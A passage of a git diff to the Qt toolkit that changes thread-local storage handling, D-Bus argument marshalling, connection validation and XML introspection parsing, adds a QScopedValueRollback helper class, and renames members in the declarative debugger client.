static pthread_once_t current_thread_data_once = PTHREAD_ONCE_INIT;
static pthread_key_t current_thread_data_key;
@@ -157,7 +168,9 @@ Q_DESTRUCTOR_FUNCTION(destroy_current_thread_data_key)
// that pthread has, so pthread_setspecific is also used.
static QThreadData *get_thread_data()
{
-#ifdef Q_OS_SYMBIAN
+#ifdef HAVE_TLS
+ return currentThreadData;
+#elif defined Q_OS_SYMBIAN
return reinterpret_cast<QThreadData *>(Dll::Tls());
#else
pthread_once(&current_thread_data_once, create_current_thread_data_key);
@@ -167,7 +180,9 @@ static QThreadData *get_thread_data()
static void set_thread_data(QThreadData *data)
{
-#ifdef Q_OS_SYMBIAN
+#ifdef HAVE_TLS
+ currentThreadData = data;
+#elif defined Q_OS_SYMBIAN
qt_symbian_throwIfError(Dll::SetTls(data));
#endif
pthread_once(&current_thread_data_once, create_current_thread_data_key);
@@ -176,7 +191,9 @@ static void set_thread_data(QThreadData *data)
static void clear_thread_data()
{
-#ifdef Q_OS_SYMBIAN
+#ifdef HAVE_TLS
+ currentThreadData = 0;
+#elif defined Q_OS_SYMBIAN
Dll::FreeTls();
#endif
pthread_setspecific(current_thread_data_key, 0);
@@ -310,7 +327,10 @@ void *QThreadPrivate::start(void *arg)
set_thread_data(data);
data->ref();
- data->quitNow = false;
+ {
+ QMutexLocker locker(&thr->d_func()->mutex);
+ data->quitNow = thr->d_func()->exited;
+ }
// ### TODO: allow the user to create a custom event dispatcher
createEventDispatcher(data);
diff --git a/src/corelib/thread/qthread_win.cpp b/src/corelib/thread/qthread_win.cpp
index cb2d1a9..6b7932b 100644
--- a/src/corelib/thread/qthread_win.cpp
+++ b/src/corelib/thread/qthread_win.cpp
@@ -298,7 +298,10 @@ unsigned int __stdcall QThreadPrivate::start(void *arg)
QThread::setTerminationEnabled(false);
- data->quitNow = false;
+ {
+ QMutexLocker locker(&thr->d_func()->mutex);
+ data->quitNow = thr->d_func()->exited;
+ }
// ### TODO: allow the user to create a custom event dispatcher
createEventDispatcher(data);
diff --git a/src/corelib/thread/thread.pri b/src/corelib/thread/thread.pri
index 03f661d..90583bb 100644
--- a/src/corelib/thread/thread.pri
+++ b/src/corelib/thread/thread.pri
@@ -31,3 +31,7 @@ unix:SOURCES += thread/qmutex_unix.cpp \
win32:SOURCES += thread/qmutex_win.cpp \
thread/qthread_win.cpp \
thread/qwaitcondition_win.cpp
+
+integrity:SOURCES += thread/qmutex_unix.cpp \
+ thread/qthread_unix.cpp \
+ thread/qwaitcondition_unix.cpp
diff --git a/src/corelib/tools/qbytearray.cpp b/src/corelib/tools/qbytearray.cpp
index cc81c1b..b281c1b 100644
--- a/src/corelib/tools/qbytearray.cpp
+++ b/src/corelib/tools/qbytearray.cpp
@@ -492,7 +492,7 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel)
#endif
/*!
- \fn QByteArray qUncompress(const QByteArray& data)
+ \fn QByteArray qUncompress(const QByteArray &data)
\relates QByteArray
@@ -506,10 +506,10 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel)
feature was added.
\bold{Note:} If you want to use this function to uncompress external
- data compressed using zlib, you first need to prepend four bytes to the
- byte array that contain the expected length (as an unsigned integer)
- of the uncompressed data encoded in big-endian order (most significant
- byte first).
+ data that was compressed using zlib, you first need to prepend a four
+ byte header to the byte array containing the data. The header must
+ contain the expected length (in bytes) of the uncompressed data,
+ expressed as an unsigned, big-endian, 32-bit integer.
\sa qCompress()
*/
diff --git a/src/corelib/tools/qeasingcurve.cpp b/src/corelib/tools/qeasingcurve.cpp
index 801600a..7daf95a 100644
--- a/src/corelib/tools/qeasingcurve.cpp
+++ b/src/corelib/tools/qeasingcurve.cpp
@@ -92,14 +92,18 @@
animation.setEasingCurve(QEasingCurve::InOutQuad);
\endcode
- The ability to set an amplitude, overshoot, or period depends on the QEasingCurve type. Amplitude access
- is available to curves that behave as springs such as elastic and bounce curves. Changing the amplitude changes
- the height of the curve. Period access is only available to elastic curves and setting a higher period slows
- the rate of bounce. Only curves that have "boomerang" behaviors such as the InBack, OutBack, InOutBack, and OutInBack
- have overshoot settings. These curves will interpolate beyond the end points and return to the end point,
- acting similar to a boomerang.
-
- The \l{Easing Curves Example} contains samples of QEasingCurve types and lets you change the curve settings.
+ The ability to set an amplitude, overshoot, or period depends on
+ the QEasingCurve type. Amplitude access is available to curves
+ that behave as springs such as elastic and bounce curves. Changing
+ the amplitude changes the height of the curve. Period access is
+ only available to elastic curves and setting a higher period slows
+ the rate of bounce. Only curves that have "boomerang" behaviors
+ such as the InBack, OutBack, InOutBack, and OutInBack have
+ overshoot settings. These curves will interpolate beyond the end
+ points and return to the end point, acting similar to a boomerang.
+
+ The \l{Easing Curves Example} contains samples of QEasingCurve
+ types and lets you change the curve settings.
*/
diff --git a/src/corelib/tools/qlocale.cpp b/src/corelib/tools/qlocale.cpp
index fcfa8f0..6515edb 100644
--- a/src/corelib/tools/qlocale.cpp
+++ b/src/corelib/tools/qlocale.cpp
@@ -2199,7 +2199,7 @@ static quint16 localePrivateIndex(const QLocalePrivate *p)
/*!
Constructs a QLocale object with the specified \a name,
which has the format
- "language[_country][.codeset][@modifier]" or "C", where:
+ "language[_territory][.codeset][@modifier]" or "C", where:
\list
\i language is a lowercase, two-letter, ISO 639 language code,
diff --git a/src/corelib/tools/qscopedvaluerollback.cpp b/src/corelib/tools/qscopedvaluerollback.cpp
new file mode 100644
index 0000000..8933efc
--- /dev/null
+++ b/src/corelib/tools/qscopedvaluerollback.cpp
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qscopedvaluerollback.h"
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \class QScopedValueRollback
+ \brief The QScopedValueRollback resets a variable to its previous value on destruction
+ \since 4.8
+ \ingroup misc
+
+ The QScopedAssignment class can be used to revert state when an
+ exception is thrown without needing to write try-catch blocks.
+
+ It can also be used to manage variables that are temporarily set,
+ such as reentrancy guards. By using this class, the variable will
+ be reset whether the function is exited normally, exited early by
+ a return statement, or exited by an exception.
+
+ The template can only be instantiated with a type that supports assignment.
+
+ \sa QScopedPointer
+*/
+
+/*!
+ \fn QScopedValueRollback::QScopedValueRollback(T &var)
+
+ Stores the previous value of var internally, for revert on destruction.
+*/
+
+/*!
+ \fn QScopedValueRollback::~QScopedValueRollback()
+
+ Assigns the previous value to the managed variable.
+ This is the value at construction time, or at the last call to commit()
+*/
+
+/*!
+ \fn void QScopedValueRollback::commit()
+
+ Updates the previous value of the managed variable to its current value.
+*/
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/loutgenerator.h b/src/corelib/tools/qscopedvaluerollback.h
index 1ca4a04..e874428 100644
--- a/tools/qdoc3/loutgenerator.h
+++ b/src/corelib/tools/qscopedvaluerollback.h
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtCore module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,29 +39,43 @@
**
****************************************************************************/
-/*
- loutgenerator.h
-*/
+#ifndef QSCOPEDVALUEROLLBACK_H
+#define QSCOPEDVALUEROLLBACK_H
-#ifndef LOUTGENERATOR_H
-#define LOUTGENERATOR_H
-
-#include "bookgenerator.h"
+#include <QtCore/qglobal.h>
+QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
+QT_MODULE(Core)
-class LoutGenerator : public BookGenerator
+template <typename T>
+class QScopedValueRollback
{
public:
- LoutGenerator();
- ~LoutGenerator();
+ QScopedValueRollback(T &var) :
+ varRef(var)
+ {
+ oldValue = varRef;
+ }
+
+ ~QScopedValueRollback()
+ {
+ varRef = oldValue;
+ }
+
+ void commit()
+ {
+ oldValue = varRef;
+ }
- virtual QString format();
+private:
+ T& varRef;
+ T oldValue;
-protected:
- // ###
+ Q_DISABLE_COPY(QScopedValueRollback)
};
QT_END_NAMESPACE
+QT_END_HEADER
-#endif
+#endif // QSCOPEDVALUEROLLBACK_H
diff --git a/src/corelib/tools/qset.h b/src/corelib/tools/qset.h
index a8ae40c..a2a8052 100644
--- a/src/corelib/tools/qset.h
+++ b/src/corelib/tools/qset.h
@@ -335,7 +335,7 @@ class QMutableSetIterator
typedef typename QSet<T>::iterator iterator;
QSet<T> *c;
iterator i, n;
- inline bool item_exists() const { return n != c->constEnd(); }
+ inline bool item_exists() const { return c->constEnd() != n; }
public:
inline QMutableSetIterator(QSet<T> &container)
diff --git a/src/corelib/tools/qshareddata.h b/src/corelib/tools/qshareddata.h
index 1bdba2c..1494373 100644
--- a/src/corelib/tools/qshareddata.h
+++ b/src/corelib/tools/qshareddata.h
@@ -114,6 +114,7 @@ public:
return *this;
}
#ifdef Q_COMPILER_RVALUE_REFS
+ QSharedDataPointer(QSharedDataPointer &&o) : d(o.d) { o.d = 0; }
inline QSharedDataPointer<T> &operator=(QSharedDataPointer<T> &&other)
{ qSwap(d, other.d); return *this; }
#endif
@@ -197,7 +198,8 @@ public:
return *this;
}
#ifdef Q_COMPILER_RVALUE_REFS
- inline QSharedDataPointer<T> &operator=(QSharedDataPointer<T> &&other)
+ inline QExplicitlySharedDataPointer(QExplicitlySharedDataPointer &&o) : d(o.d) { o.d = 0; }
+ inline QExplicitlySharedDataPointer<T> &operator=(QExplicitlySharedDataPointer<T> &&other)
{ qSwap(d, other.d); return *this; }
#endif
diff --git a/src/corelib/tools/qsharedpointer_impl.h b/src/corelib/tools/qsharedpointer_impl.h
index 273c5bd..b29e5b6 100644
--- a/src/corelib/tools/qsharedpointer_impl.h
+++ b/src/corelib/tools/qsharedpointer_impl.h
@@ -44,7 +44,17 @@
#ifndef QSHAREDPOINTER_H
#error Do not include qsharedpointer_impl.h directly
#endif
+
#if 0
+// These macros are duplicated here to make syncqt not complain a about
+// this header, as we have a "qt_sync_stop_processing" below, which in turn
+// is here because this file contains a template mess and duplicates the
+// classes found in qsharedpointer.h
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+QT_MODULE(Core)
+QT_END_NAMESPACE
+QT_END_HEADER
#pragma qt_sync_stop_processing
#endif
diff --git a/src/corelib/tools/qstring.cpp b/src/corelib/tools/qstring.cpp
index 95c80a1..b7272ec 100644
--- a/src/corelib/tools/qstring.cpp
+++ b/src/corelib/tools/qstring.cpp
@@ -658,10 +658,11 @@ const QString::Null QString::null = { };
class.)
\table 100 %
+ \header
+ \o Note for C Programmers
+
\row
\o
- \section1 Note for C Programmers
-
Due to C++'s type system and the fact that QString is
\l{implicitly shared}, QStrings may be treated like \c{int}s or
other basic types. For example:
@@ -3890,8 +3891,7 @@ const char *QString::latin1_helper() const
If \a size is -1 (default), it is taken to be qstrlen(\a
str).
- QTextCodec::codecForLocale() is used to perform the conversion
- from Unicode.
+ QTextCodec::codecForLocale() is used to perform the conversion.
\sa toLocal8Bit(), fromAscii(), fromLatin1(), fromUtf8()
*/
diff --git a/src/corelib/tools/tools.pri b/src/corelib/tools/tools.pri
index 03bb32d..fb1b466 100644
--- a/src/corelib/tools/tools.pri
+++ b/src/corelib/tools/tools.pri
@@ -29,6 +29,9 @@ HEADERS += \
tools/qrect.h \
tools/qregexp.h \
tools/qringbuffer_p.h \
+ tools/qscopedpointer.h \
+ tools/qscopedpointer_p.h \
+ tools/qscopedvaluerollback.h \
tools/qshareddata.h \
tools/qsharedpointer.h \
tools/qsharedpointer_impl.h \
@@ -45,9 +48,7 @@ HEADERS += \
tools/qelapsedtimer.h \
tools/qunicodetables_p.h \
tools/qvarlengtharray.h \
- tools/qvector.h \
- tools/qscopedpointer.h \
- tools/qscopedpointer_p.h
+ tools/qvector.h
SOURCES += \
@@ -87,6 +88,7 @@ symbian:SOURCES+=tools/qlocale_symbian.cpp
else:symbian:SOURCES += tools/qelapsedtimer_symbian.cpp
else:unix:SOURCES += tools/qelapsedtimer_unix.cpp
else:win32:SOURCES += tools/qelapsedtimer_win.cpp
+else:integrity:SOURCES += tools/qelapsedtimer_unix.cpp
else:SOURCES += tools/qelapsedtimer_generic.cpp
contains(QT_CONFIG, zlib):include($$PWD/../../3rdparty/zlib.pri)
diff --git a/src/dbus/qdbusargument.h b/src/dbus/qdbusargument.h
index 2c8693b..e331d8f 100644
--- a/src/dbus/qdbusargument.h
+++ b/src/dbus/qdbusargument.h
@@ -376,6 +376,21 @@ inline const QDBusArgument &operator>>(const QDBusArgument &arg, QHash<Key, T> &
return arg;
}
+inline QDBusArgument &operator<<(QDBusArgument &arg, const QVariantHash &map)
+{
+ arg.beginMap(QVariant::String, qMetaTypeId<QDBusVariant>());
+ QVariantHash::ConstIterator it = map.constBegin();
+ QVariantHash::ConstIterator end = map.constEnd();
+ for ( ; it != end; ++it) {
+ arg.beginMapEntry();
+ arg << it.key() << QDBusVariant(it.value());
+ arg.endMapEntry();
+ }
+ arg.endMap();
+ return arg;
+}
+
+
QT_END_NAMESPACE
Q_DECLARE_METATYPE(QDBusArgument)
diff --git a/src/dbus/qdbusconnection.cpp b/src/dbus/qdbusconnection.cpp
index eb312d2..3fb63eb 100644
--- a/src/dbus/qdbusconnection.cpp
+++ b/src/dbus/qdbusconnection.cpp
@@ -632,10 +632,26 @@ bool QDBusConnection::connect(const QString &service, const QString &path, const
if (!receiver || !slot || !d || !d->connection)
return false;
- if (!interface.isEmpty() && !QDBusUtil::isValidInterfaceName(interface))
- return false;
if (interface.isEmpty() && name.isEmpty())
return false;
+ if (!interface.isEmpty() && !QDBusUtil::isValidInterfaceName(interface)) {
+#ifndef QT_NO_DEBUG
+ qWarning("QDBusConnection::connect: interface name '%s' is not valid", interface.toLatin1().constData());
+#endif
+ return false;
+ }
+ if (!service.isEmpty() && !QDBusUtil::isValidBusName(service)) {
+#ifndef QT_NO_DEBUG
+ qWarning("QDBusConnection::connect: service name '%s' is not valid", service.toLatin1().constData());
+#endif
+ return false;
+ }
+ if (!path.isEmpty() && !QDBusUtil::isValidObjectPath(path)) {
+#ifndef QT_NO_DEBUG
+ qWarning("QDBusConnection::connect: object path '%s' is not valid", path.toLatin1().constData());
+#endif
+ return false;
+ }
QDBusWriteLocker locker(ConnectAction, d);
return d->connectSignal(service, path, interface, name, argumentMatch, signature, receiver, slot);
diff --git a/src/dbus/qdbusdemarshaller.cpp b/src/dbus/qdbusdemarshaller.cpp
index 3882edb..6638263 100644
--- a/src/dbus/qdbusdemarshaller.cpp
+++ b/src/dbus/qdbusdemarshaller.cpp
@@ -176,10 +176,10 @@ QDBusArgument::ElementType QDBusDemarshaller::currentType()
case DBUS_TYPE_INVALID:
return QDBusArgument::UnknownType;
- default:
- qWarning("QDBusDemarshaller: Found unknown D-Bus type %d '%c'",
- q_dbus_message_iter_get_arg_type(&iterator),
- q_dbus_message_iter_get_arg_type(&iterator));
+// default:
+// qWarning("QDBusDemarshaller: Found unknown D-Bus type %d '%c'",
+// q_dbus_message_iter_get_arg_type(&iterator),
+// q_dbus_message_iter_get_arg_type(&iterator));
}
return QDBusArgument::UnknownType;
}
@@ -232,10 +232,15 @@ QVariant QDBusDemarshaller::toVariantInternal()
return QVariant::fromValue(duplicate());
default:
- qWarning("QDBusDemarshaller: Found unknown D-Bus type %d '%c'",
- q_dbus_message_iter_get_arg_type(&iterator),
- q_dbus_message_iter_get_arg_type(&iterator));
- return QVariant();
+// qWarning("QDBusDemarshaller: Found unknown D-Bus type %d '%c'",
+// q_dbus_message_iter_get_arg_type(&iterator),
+// q_dbus_message_iter_get_arg_type(&iterator));
+ char *ptr = 0;
+ ptr += q_dbus_message_iter_get_arg_type(&iterator);
+ q_dbus_message_iter_next(&iterator);
+
+ // I hope you never dereference this pointer!
+ return QVariant::fromValue<void *>(ptr);
break;
};
}
diff --git a/src/dbus/qdbusintegrator.cpp b/src/dbus/qdbusintegrator.cpp
index 3c0cb6e..14138e0 100644
--- a/src/dbus/qdbusintegrator.cpp
+++ b/src/dbus/qdbusintegrator.cpp
@@ -558,8 +558,9 @@ bool QDBusConnectionPrivate::handleMessage(const QDBusMessage &amsg)
switch (amsg.type()) {
case QDBusMessage::SignalMessage:
handleSignal(amsg);
- return true;
- break;
+ // if there are any other filters in this DBusConnection,
+ // let them see the signal too
+ return false;
case QDBusMessage::MethodCallMessage:
handleObjectCall(amsg);
return true;
@@ -2073,30 +2074,20 @@ void QDBusConnectionPrivate::connectSignal(const QString &key, const SignalHook
if (connection) {
qDBusDebug("Adding rule: %s", hook.matchRule.constData());
- QDBusErrorInternal error;
- q_dbus_bus_add_match(connection, hook.matchRule, error);
- if (!!error) {
- QDBusError qerror = error;
- qWarning("QDBusConnectionPrivate::connectSignal: received error from D-Bus server "
- "while connecting signal to %s::%s: %s (%s)",
- hook.obj->metaObject()->className(),
- hook.obj->metaObject()->method(hook.midx).signature(),
- qPrintable(qerror.name()), qPrintable(qerror.message()));
- Q_ASSERT(false);
- } else {
- // Successfully connected the signal
- // Do we need to watch for this name?
- if (shouldWatchService(hook.service)) {
- WatchedServicesHash::mapped_type &data = watchedServices[hook.service];
- if (++data.refcount == 1) {
- // we need to watch for this service changing
- connectSignal(dbusServiceString(), QString(), dbusInterfaceString(),
- QLatin1String("NameOwnerChanged"), QStringList() << hook.service, QString(),
- this, SLOT(serviceOwnerChangedNoLock(QString,QString,QString)));
- data.owner = getNameOwnerNoCache(hook.service);
- qDBusDebug() << this << "Watching service" << hook.service << "for owner changes (current owner:"
- << data.owner << ")";
- }
+ q_dbus_bus_add_match(connection, hook.matchRule, NULL);
+
+ // Successfully connected the signal
+ // Do we need to watch for this name?
+ if (shouldWatchService(hook.service)) {
+ WatchedServicesHash::mapped_type &data = watchedServices[hook.service];
+ if (++data.refcount == 1) {
+ // we need to watch for this service changing
+ connectSignal(dbusServiceString(), QString(), dbusInterfaceString(),
+ QLatin1String("NameOwnerChanged"), QStringList() << hook.service, QString(),
+ this, SLOT(serviceOwnerChangedNoLock(QString,QString,QString)));
+ data.owner = getNameOwnerNoCache(hook.service);
+ qDBusDebug() << this << "Watching service" << hook.service << "for owner changes (current owner:"
+ << data.owner << ")";
}
}
}
diff --git a/src/dbus/qdbusmetaobject.cpp b/src/dbus/qdbusmetaobject.cpp
index 5fe0589..df8bc1d 100644
--- a/src/dbus/qdbusmetaobject.cpp
+++ b/src/dbus/qdbusmetaobject.cpp
@@ -169,6 +169,8 @@ QDBusMetaObjectGenerator::QDBusMetaObjectGenerator(const QString &interfaceName,
}
}
+Q_DBUS_EXPORT bool qt_dbus_metaobject_skip_annotations = false;
+
QDBusMetaObjectGenerator::Type
QDBusMetaObjectGenerator::findType(const QByteArray &signature,
const QDBusIntrospection::Annotations &annotations,
@@ -178,7 +180,7 @@ QDBusMetaObjectGenerator::findType(const QByteArray &signature,
result.id = QVariant::Invalid;
int type = QDBusMetaType::signatureToType(signature);
- if (type == QVariant::Invalid) {
+ if (type == QVariant::Invalid && !qt_dbus_metaobject_skip_annotations) {
// it's not a type normally handled by our meta type system
// it must contain an annotation
QString annotationName = QString::fromLatin1("com.trolltech.QtDBus.QtTypeName");
@@ -191,16 +193,35 @@ QDBusMetaObjectGenerator::findType(const QByteArray &signature,
QByteArray typeName = annotations.value(annotationName).toLatin1();
// verify that it's a valid one
- if (typeName.isEmpty())
- return result; // invalid
+ if (!typeName.isEmpty()) {
+ // type name found
+ type = QVariant::nameToType(typeName);
+ if (type == QVariant::UserType)
+ type = QMetaType::type(typeName);
+ }
- type = QVariant::nameToType(typeName);
- if (type == QVariant::UserType)
- type = QMetaType::type(typeName);
- if (type == QVariant::Invalid || signature != QDBusMetaType::typeToSignature(type))
- return result; // unknown type is invalid too
+ if (type == QVariant::Invalid || signature != QDBusMetaType::typeToSignature(type)) {
+ // type is still unknown or doesn't match back to the signature that it
+ // was expected to, so synthesize a fake type
+ type = QMetaType::VoidStar;
+ typeName = "QDBusRawType<0x" + signature.toHex() + ">*";
+ }
result.name = typeName;
+ } else if (type == QVariant::Invalid) {
+ // this case is used only by the qdbus command-line tool
+ // invalid, let's create an impossible type that contains the signature
+
+ if (signature == "av") {
+ result.name = "QVariantList";
+ type = QVariant::List;
+ } else if (signature == "a{sv}") {
+ result.name = "QVariantMap";
+ type = QVariant::Map;
+ } else {
+ result.name = "QDBusRawType::" + signature;
+ type = -1;
+ }
} else {
result.name = QVariant::typeToName( QVariant::Type(type) );
}
diff --git a/src/dbus/qdbusmetatype.cpp b/src/dbus/qdbusmetatype.cpp
index 6de5d93..9f29205 100644
--- a/src/dbus/qdbusmetatype.cpp
+++ b/src/dbus/qdbusmetatype.cpp
@@ -127,6 +127,7 @@ void QDBusMetaTypeId::init()
registerHelper<QLineF>();
registerHelper<QVariantList>();
registerHelper<QVariantMap>();
+ registerHelper<QVariantHash>();
qDBusRegisterMetaType<QList<bool> >();
qDBusRegisterMetaType<QList<short> >();
diff --git a/src/dbus/qdbusxmlparser.cpp b/src/dbus/qdbusxmlparser.cpp
index 1b99ced..3feedde 100644
--- a/src/dbus/qdbusxmlparser.cpp
+++ b/src/dbus/qdbusxmlparser.cpp
@@ -52,6 +52,13 @@
#ifndef QT_NO_DBUS
+//#define QDBUS_PARSER_DEBUG
+#ifdef QDBUS_PARSER_DEBUG
+# define qDBusParserError qWarning
+#else
+# define qDBusParserError if (true) {} else qDebug
+#endif
+
QT_BEGIN_NAMESPACE
static QDBusIntrospection::Annotations
@@ -69,8 +76,8 @@ parseAnnotations(const QDomElement& elem)
value = ann.attribute(QLatin1String("value"));
if (!QDBusUtil::isValidInterfaceName(name)) {
- qWarning("Invalid D-BUS annotation '%s' found while parsing introspection",
- qPrintable(name));
+ qDBusParserError("Invalid D-BUS annotation '%s' found while parsing introspection",
+ qPrintable(name));
continue;
}
@@ -99,9 +106,8 @@ parseArgs(const QDomElement& elem, const QLatin1String& direction, bool acceptEm
argData.name = arg.attribute(QLatin1String("name")); // can be empty
argData.type = arg.attribute(QLatin1String("type"));
if (!QDBusUtil::isValidSingleSignature(argData.type)) {
- qWarning("Invalid D-BUS type signature '%s' found while parsing introspection",
- qPrintable(argData.type));
- continue;
+ qDBusParserError("Invalid D-BUS type signature '%s' found while parsing introspection",
+ qPrintable(argData.type));
}
retval << argData;
@@ -141,8 +147,8 @@ QDBusXmlParser::interfaces() const
if (iface.isNull())
continue; // for whatever reason
if (!QDBusUtil::isValidInterfaceName(ifaceName)) {
- qWarning("Invalid D-BUS interface name '%s' found while parsing introspection",
- qPrintable(ifaceName));
+ qDBusParserError("Invalid D-BUS interface name '%s' found while parsing introspection",
+ qPrintable(ifaceName));
continue;
}
@@ -166,8 +172,8 @@ QDBusXmlParser::interfaces() const
if (method.isNull())
continue;
if (!QDBusUtil::isValidMemberName(methodName)) {
- qWarning("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
- qPrintable(methodName), qPrintable(ifaceName));
+ qDBusParserError("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
+ qPrintable(methodName), qPrintable(ifaceName));
continue;
}
@@ -192,8 +198,8 @@ QDBusXmlParser::interfaces() const
if (signal.isNull())
continue;
if (!QDBusUtil::isValidMemberName(signalName)) {
- qWarning("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
- qPrintable(signalName), qPrintable(ifaceName));
+ qDBusParserError("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
+ qPrintable(signalName), qPrintable(ifaceName));
continue;
}
@@ -217,8 +223,8 @@ QDBusXmlParser::interfaces() const
if (property.isNull())
continue;
if (!QDBusUtil::isValidMemberName(propertyName)) {
- qWarning("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
- qPrintable(propertyName), qPrintable(ifaceName));
+ qDBusParserError("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
+ qPrintable(propertyName), qPrintable(ifaceName));
continue;
}
@@ -231,10 +237,9 @@ QDBusXmlParser::interfaces() const
if (!QDBusUtil::isValidSingleSignature(propertyData.type)) {
// cannot be!
- qWarning("Invalid D-BUS type signature '%s' found in property '%s.%s' while parsing introspection",
- qPrintable(propertyData.type), qPrintable(ifaceName),
- qPrintable(propertyName));
- continue;
+ qDBusParserError("Invalid D-BUS type signature '%s' found in property '%s.%s' while parsing introspection",
+ qPrintable(propertyData.type), qPrintable(ifaceName),
+ qPrintable(propertyName));
}
QString access = property.attribute(QLatin1String("access"));
@@ -245,9 +250,9 @@ QDBusXmlParser::interfaces() const
else if (access == QLatin1String("readwrite"))
propertyData.access = QDBusIntrospection::Property::ReadWrite;
else {
- qWarning("Invalid D-BUS property access '%s' found in property '%s.%s' while parsing introspection",
- qPrintable(access), qPrintable(ifaceName),
- qPrintable(propertyName));
+ qDBusParserError("Invalid D-BUS property access '%s' found in property '%s.%s' while parsing introspection",
+ qPrintable(access), qPrintable(ifaceName),
+ qPrintable(propertyName));
continue; // invalid one!
}
@@ -286,8 +291,8 @@ QDBusXmlParser::object() const
if (obj.isNull())
continue; // for whatever reason
if (!QDBusUtil::isValidObjectPath(m_path + QLatin1Char('/') + objName)) {
- qWarning("Invalid D-BUS object path '%s/%s' found while parsing introspection",
- qPrintable(m_path), qPrintable(objName));
+ qDBusParserError("Invalid D-BUS object path '%s/%s' found while parsing introspection",
+ qPrintable(m_path), qPrintable(objName));
continue;
}
@@ -301,8 +306,8 @@ QDBusXmlParser::object() const
if (iface.isNull())
continue;
if (!QDBusUtil::isValidInterfaceName(ifaceName)) {
- qWarning("Invalid D-BUS interface name '%s' found while parsing introspection",
- qPrintable(ifaceName));
+ qDBusParserError("Invalid D-BUS interface name '%s' found while parsing introspection",
+ qPrintable(ifaceName));
continue;
}
diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri
index 25f7687..75287b4 100644
--- a/src/declarative/debugger/debugger.pri
+++ b/src/declarative/debugger/debugger.pri
@@ -7,13 +7,17 @@ SOURCES += \
$$PWD/qdeclarativedebugclient.cpp \
$$PWD/qdeclarativedebug.cpp \
$$PWD/qdeclarativedebugtrace.cpp \
- $$PWD/qdeclarativedebughelper.cpp
+ $$PWD/qdeclarativedebughelper.cpp \
+ $$PWD/qdeclarativedebugserver.cpp
HEADERS += \
$$PWD/qdeclarativedebuggerstatus_p.h \
$$PWD/qpacketprotocol_p.h \
$$PWD/qdeclarativedebugservice_p.h \
+ $$PWD/qdeclarativedebugservice_p_p.h \
$$PWD/qdeclarativedebugclient_p.h \
$$PWD/qdeclarativedebug_p.h \
$$PWD/qdeclarativedebugtrace_p.h \
- $$PWD/qdeclarativedebughelper_p.h
+ $$PWD/qdeclarativedebughelper_p.h \
+ $$PWD/qdeclarativedebugserver_p.h \
+ debugger/qdeclarativedebugserverconnection_p.h
diff --git a/src/declarative/debugger/qdeclarativedebugclient.cpp b/src/declarative/debugger/qdeclarativedebugclient.cpp
index e6a3f69..036dee1 100644
--- a/src/declarative/debugger/qdeclarativedebugclient.cpp
+++ b/src/declarative/debugger/qdeclarativedebugclient.cpp
@@ -61,7 +61,7 @@ public:
QDeclarativeDebugClientPrivate();
QString name;
- QDeclarativeDebugConnection *client;
+ QDeclarativeDebugConnection *connection;
};
class QDeclarativeDebugConnectionPrivate : public QObject
@@ -202,7 +202,7 @@ QDeclarativeDebugConnection::~QDeclarativeDebugConnection()
{
QHash<QString, QDeclarativeDebugClient*>::iterator iter = d->plugins.begin();
for (; iter != d->plugins.end(); ++iter) {
- iter.value()->d_func()->client = 0;
+ iter.value()->d_func()->connection = 0;
iter.value()->statusChanged(QDeclarativeDebugClient::NotConnected);
}
}
@@ -213,7 +213,7 @@ bool QDeclarativeDebugConnection::isConnected() const
}
QDeclarativeDebugClientPrivate::QDeclarativeDebugClientPrivate()
-: client(0)
+: connection(0)
{
}
@@ -223,26 +223,26 @@ QDeclarativeDebugClient::QDeclarativeDebugClient(const QString &name,
{
Q_D(QDeclarativeDebugClient);
d->name = name;
- d->client = parent;
+ d->connection = parent;
- if (!d->client)
+ if (!d->connection)
return;
- if (d->client->d->plugins.contains(name)) {
+ if (d->connection->d->plugins.contains(name)) {
qWarning() << "QDeclarativeDebugClient: Conflicting plugin name" << name;
- d->client = 0;
+ d->connection = 0;
} else {
- d->client->d->plugins.insert(name, this);
- d->client->d->advertisePlugins();
+ d->connection->d->plugins.insert(name, this);
+ d->connection->d->advertisePlugins();
}
}
QDeclarativeDebugClient::~QDeclarativeDebugClient()
{
Q_D(const QDeclarativeDebugClient);
- if (d->client && d->client->d) {
- d->client->d->plugins.remove(d->name);
- d->client->d->advertisePlugins();
+ if (d->connection && d->connection->d) {
+ d->connection->d->plugins.remove(d->name);
+ d->connection->d->advertisePlugins();
}
}
